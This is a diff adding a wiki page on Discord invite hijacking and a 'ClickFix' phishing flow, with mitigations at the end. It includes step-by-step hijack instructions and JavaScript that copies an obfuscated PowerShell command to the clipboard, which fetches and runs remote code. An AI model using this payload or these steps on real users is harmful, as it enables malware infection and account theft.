Add content: From Trust to Threat Hijacked Discord Invites Used for Multi...

src/SUMMARY.md

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 - [Phishing Methodology](generic-methodologies-and-resources/phishing-methodology/README.md)
   - [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md)
   - [Detecting Phishing](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md)
+  - [Discord Invite Hijacking](generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md)
   - [Phishing Files & Documents](generic-methodologies-and-resources/phishing-methodology/phishing-documents.md)
 - [Basic Forensic Methodology](generic-methodologies-and-resources/basic-forensic-methodology/README.md)
   - [Baseline Monitoring](generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md)

src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md

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+# Discord Invite Hijacking
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Discord’s invite system vulnerability allows threat actors to claim expired or deleted invite codes (temporary, permanent, or custom vanity) as new vanity links on any Level 3 boosted server. By normalizing all codes to lowercase, attackers can pre-register known invite codes and silently hijack traffic once the original link expires or the source server loses its boost.
+
+## Invite Types and Hijack Risk
+
+| Invite Type           | Hijackable? | Condition / Comments                                                                                       |
+|-----------------------|-------------|------------------------------------------------------------------------------------------------------------|
+| Temporary Invite Link | ✅          | After expiration, the code becomes available and can be re-registered as a vanity URL by a boosted server. |
+| Permanent Invite Link | ⚠️          | If deleted and consisting only of lowercase letters and digits, the code may become available again.        |
+| Custom Vanity Link    | ✅          | If the original server loses its Level 3 Boost, its vanity invite becomes available for new registration.    |
+
+## Exploitation Steps
+
+1. Reconnaissance
+   - Monitor public sources (forums, social media, Telegram channels) for invite links matching the pattern `discord.gg/{code}` or `discord.com/invite/{code}`.
+   - Collect invite codes of interest (temporary or vanity).
+2. Pre-registration
+   - Create or use an existing Discord server with Level 3 Boost privileges.
+   - In **Server Settings → Vanity URL**, attempt to assign the target invite code. If accepted, the code is reserved by the malicious server.
+3. Hijack Activation
+   - For temporary invites, wait until the original invite expires (or manually delete it if you control the source).
+   - For uppercase-containing codes, the lowercase variant can be claimed immediately, though redirection only activates after expiration.
+4. Silent Redirection
+   - Users visiting the old link are seamlessly sent to the attacker-controlled server once the hijack is active.
+
+## Phishing Flow via Discord Server
+
+1. Restrict server channels so only a **#verify** channel is visible.
+2. Deploy a bot (e.g., **Safeguard#0786**) to prompt newcomers to verify via OAuth2.
+3. Bot redirects users to a phishing site (e.g., `captchaguard.me`) under the guise of a CAPTCHA or verification step.
+4. Implement the **ClickFix** UX trick:
+   - Display a broken CAPTCHA message.
+   - Guide users to open the **Win+R** dialog, paste a preloaded PowerShell command, and press Enter.
+
+### ClickFix Clipboard Injection Example
+
+```javascript
+// Copy malicious PowerShell command to clipboard
+const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';` +
+            `$u=($r[-1..-($r.Length)]-join '');` +
+            `$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));` +
+            `iex (iwr -Uri $url)"`;
+navigator.clipboard.writeText(cmd);
+```
+
+This approach avoids direct file downloads and leverages familiar UI elements to lower user suspicion.
+
+## Mitigations
+
+- Use permanent invite links containing at least one uppercase letter or non-alphanumeric character (never expire, non-reusable).
+- Regularly rotate invite codes and revoke old links.
+- Monitor Discord server boost status and vanity URL claims.
+- Educate users to verify server authenticity and avoid executing clipboard-pasted commands.
+
+## References
+
+- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
+- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
+
+{{#include /banners/hacktricks-training.md}}